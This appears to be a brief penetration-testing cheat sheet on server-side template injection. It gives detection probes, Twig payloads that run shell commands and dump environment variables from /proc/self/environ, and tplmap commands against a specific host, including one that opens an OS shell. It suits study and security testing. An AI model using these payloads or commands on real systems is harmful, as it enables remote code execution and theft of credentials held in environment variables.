Server Side Template Injection (SSTI)

SSTI Identification

{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}

TWIG SSTI

Twig has a variable _self, which, in simple terms, makes a few of the internal APIs public. This _self object has been documented, so we don't need to brute force any variable names,

we can use the getFilter function as it allows execution of a user-defined function via the following process:

  • Register a function as a filter callback via registerUndefinedFilterCallback

  • Invoke _self.env.getFilter() to execute the function we have just registered

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}

to get the environment variables we can use

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("echo -e `cat /proc/self/environ`")}}

Automating SSTI using tqlmap

we can use TQLMAP from the below link

python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080

OS-Shell Using TPLMAP

python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080 --os-shell

Last updated